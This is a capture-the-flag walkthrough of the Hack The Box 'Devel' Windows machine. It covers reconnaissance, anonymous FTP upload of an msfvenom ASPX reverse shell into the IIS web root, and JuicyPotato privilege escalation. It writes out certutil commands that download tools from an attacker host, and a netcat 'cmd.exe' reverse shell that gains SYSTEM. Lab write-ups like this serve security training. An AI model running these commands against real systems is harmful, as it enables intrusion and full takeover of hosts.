Devel Walkthrough

Machine: Devel#

Date: 29-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:

nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP

Results:

• Port 21 → FTP (Microsoft ftpd) — anonymous login allowed
• Port 80 → HTTP (Microsoft IIS httpd 7.5) — title: “IIS7”

Full port scan:

nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP

• No additional ports found beyond 21 and 80

UDP scan:

nmap -sU --top-ports 20 -oN scans/nmap_udp.txt $MACHINE_IP

• All ports open|filtered — nothing actionable

Notes:

• OS fingerprint: Windows_NT + IIS 7.5 → Windows 7 / Server 2008 R2
• FTP anonymous listing shows: aspnet_client/, iisstart.htm, welcome.png — these are the default IIS web root files
• FTP root maps directly to C:\inetpub\wwwroot — write access to FTP = write access to web root
• IIS 7.5 + Windows 7/2008 R2 → SeImpersonatePrivilege + JuicyPotato expected for privesc

📂 Enumeration#

Gobuster (directories):

gobuster dir -u http://$MACHINE_IP/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x asp,aspx,txt,config -t 50 -o scans/gobuster.txt

• /iisstart.htm (200) — default IIS page
• /welcome.png (200) — default IIS image
• /aspnet_client/ (301) — ASP.NET client files

FTP anonymous enumeration:

ftp $MACHINE_IP
# user: anonymous / pass: (empty)

• Read access confirmed — downloaded iisstart.htm and welcome.png
• Write access confirmed — uploaded test.txt, visible via http://$MACHINE_IP/test.txt
• FTP root = IIS web root → can upload and execute ASPX files

Notes:

• The attack surface is minimal — no login forms, no CMS, no API
• The entire exploitation path is: FTP write → upload ASPX webshell → execute via HTTP → shell
• IIS serves ASP.NET — .aspx payloads will execute directly

💥 Exploitation#

• Attempt 1: Browsing port 80 → default IIS page, nothing interactive
• Exploit used: FTP anonymous write → ASPX reverse shell

Step 1 — Generate ASPX payload:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.252 LPORT=4447 -f aspx -o shell.aspx

Step 2 — Upload via FTP:

ftp $MACHINE_IP
# put shell.aspx

Step 3 — Start listener and trigger:

nc -lvnp 4447
# Browser: http://10.129.11.253/shell.aspx

Result: Shell as iis apppool\web

⚡ Privilege Escalation#

Enumeration:

whoami /priv
systeminfo

• SeImpersonatePrivilege → Enabled ✅
• Windows Version: 6.1.7600 → Windows 7 / Server 2008 R2 — no Service Pack
• Shell architecture: x86 (IIS app pool running as 32-bit)

Attempt 1 — JuicyPotato (x64) → FAILED:

certutil -urlcache -split -f http://10.10.14.252:8882/JuicyPotato.exe C:\Windows\Temp\jp.exe
C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "-e cmd.exe 10.10.14.252 4434" -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
# "This version is not compatible" → wrong architecture

• x64 binary on x86 shell → architecture mismatch

Attempt 2 — JuicyPotato (x86) → SUCCESS ✅:

certutil -urlcache -split -f http://10.10.14.252:8882/JuicyPotato.exe C:\Windows\Temp\jp.exe
certutil -urlcache -split -f http://10.10.14.252:8882/nc.exe C:\Windows\Temp\nc.exe

C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "-e cmd.exe 10.10.14.252 4434" -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
# [+] authresult 0
# {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
# [+] CreateProcessWithTokenW OK

Why this works: IIS worker processes run with SeImpersonatePrivilege by design — they need to impersonate web users. JuicyPotato abuses the DCOM/BITS COM object to trick a SYSTEM service into authenticating to a fake COM server we control. We intercept the SYSTEM authentication token and use it to spawn a new process as NT AUTHORITY\SYSTEM. The key is matching the binary architecture to the shell architecture — IIS app pools on this machine run as 32-bit (x86), so the x64 JuicyPotato binary is rejected by the OS loader.

Successful escalation:

• NT AUTHORITY\SYSTEM ✅

🧩 Attack Chain#

1. Port scan → FTP anonymous + IIS 7.5 on port 80
2. FTP anonymous → confirmed write access to web root
3. msfvenom → generated ASPX reverse shell
4. FTP → uploaded shell.aspx to web root
5. HTTP → triggered shell.aspx → shell as iis apppool\web
6. whoami /priv → SeImpersonatePrivilege enabled
7. systeminfo → Windows 7 x86, Server 2008 R2
8. Transferred JuicyPotato x86 + nc.exe via certutil
9. JuicyPotato BITS CLSID → NT AUTHORITY\SYSTEM ✅
10. Flags captured from babis Desktop and Administrator Desktop

🎯 Loot / Flags#

• user.txt: ``[FLAG REDACTED]→C:\Users\babis\Desktop\user.txt`
• root.txt: ``[FLAG REDACTED]→C:\Users\Administrator\Desktop\root.txt`

📝 Lessons Learned#

• FTP anonymous + IIS = instant webshell — if the FTP root maps to the web root and anonymous write is allowed, it’s game over for initial access. Always check FTP write permissions immediately.
• Always check shell architecture before downloading tools — IIS app pools frequently run as x86 even on x64 Windows. Run %PROCESSOR_ARCHITECTURE% in the shell before downloading any binary. Wrong architecture = silent failure with a confusing error message.
• IIS version → OS version → Potato tool — IIS 7.5 = Windows 7/2008 R2 = JuicyPotato. Memorize this mapping.
• SeImpersonatePrivilege on IIS shells is by design — it’s not a misconfiguration, it’s how IIS works. Any RCE via IIS will have this privilege and JuicyPotato/PrintSpoofer will almost always work.
• certutil is the most reliable download method on old Windows — PowerShell DownloadFile may fail in restricted cmd shells; certutil always works on Windows 7+.

#Windows #HTB #Enumeration #FTP #AnonymousLogin #WriteAccess #IIS #ASPX #Webshell #ReverseShell #InitialAccess #PostExploitation #PrivilegeEscalation #SeImpersonatePrivilege #JuicyPotato #TokenImpersonation #DCOM #BITS #SYSTEM #certutil #Windows7 #IIS75 #x86

Adapted from MountainFlayer/htb-writeups under MIT.